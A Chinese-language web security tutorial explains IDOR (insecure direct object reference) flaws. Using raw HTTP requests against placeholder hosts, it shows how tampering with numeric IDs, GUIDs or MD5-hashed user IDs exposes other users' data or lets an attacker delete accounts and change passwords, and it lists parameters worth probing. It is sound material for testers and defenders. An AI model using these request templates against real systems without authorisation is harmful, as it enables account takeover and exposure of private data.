OWASP已经把 IDOR
归属为 Broken Access control
.
什么是IDOR?
IDOR 全称是Insecure Direct Object Reference(不安全的直接对象引用).
Simple numeric IDOR
假设你登陆的帐号链接如下:
https://www.abc.com/orders/id?=43976
你将它改为下面之后,可以查看甚至是修改 id=43975的人的信息;但是这个帐号并不属于你。
https://www.abc.com/orders/id?=43975
IDOR in POST
下面的POST请求你可能很容易猜到修改什么地方可能个产生IDOR
POST /account/deleteaccnt HTTP/1.1
Host: acme.com
Connection: close
Content-Length: 22
Cache-Control: max-age=0
Origin: https://acme.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=3214536754363414df3142gf2341
acID=4321&action=Delete
没错它就是 acID
.
GUID based IDOR
你注册且登录 account 1 会有如下链接
https://www.acme.com/changepw/id?=13d573e8-5210-408a-aa77-6e2e9993d264
你注册且登录 account 2 会有如下链接
https://www.acme.com/changepw/id?=cec4d0ff-f133-4ffd-9ed9-3e0d0c5a3990
这种情况如果你想要形成IDOR
要先找到另外一个用户的 GUID
.
要枚举guid
或不可枚举的帐户ID,请查找可能返回此数据的其他端点
或web服务
。
在您的代理历史中快速搜索您的ID应该是您首先检查的请求,并尝试篡改以获得其他ID(有时这本身就是一个漏洞)。
GUID 是微软对UUID这个标准的实现。UUID是由开放软件基金会(OSF)定义的。UUID还有其它各种实现,不止GUID一种.
GUID based IDOR (cont.)
GET /api/data/admin@acme.com HTTP/1.1
Host: acme.com
Connection: close
Content-Length: 22
Cache-Control: max-age=0
Origin: https://acme.com
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 200 OK
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: text/json; charset=UTF-8
<... SNIPPED ...>
{"accountdata":{"account":"admin@acme.com"},{"uuid":"cec4d0ff-f
133-4ffd-9ed9-3e0d0c5a3990"},{"name":"admin"},{"role":"admin"}}
很多时候,存在将用户电子邮件
转换为UUID的端点
,这些函数有时可以用于获取其他用户的GUID。
搜索引擎抓取和查找任何相关移动应用程序
的功能也是如此。移动API
通常返回详细的数据级别。
它还与真正验证UUID或ID是随机的有关。有时看起来复杂的ID只有部分随机
,这使得它们很容易迭代
。
Hash based IDOR
IDOR函数值可以有多种形式。基于字符串
、散列
、编码
等。本例是MD5散列。
POST /account/updatepasswd HTTP/1.1
Host: acme.com
Connection: close
Content-Length: 22
Cache-Control: max-age=0
Origin: https://acme.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=3214536754363414df3142gf2341
userid=912134131a7b11f2dfee0b92bf6b0eed&action=updatepasswd
Likely parameters/keyword to check for IDOR
统计表明,下面这些是非常常见的参数,REST路径名,关键字和关联IDOR和MFLAC的函数。
REST数值路径中小于10的参数: |id|user| |-|-| |account|number| |order|no|
Functions: Change email,Change password, Upgrade/downgrade user role Create/remove/update/delete context specific app data Shipping,invoices, and document viewing |doc|key| |-|-| |email|group| |profile|edit|
: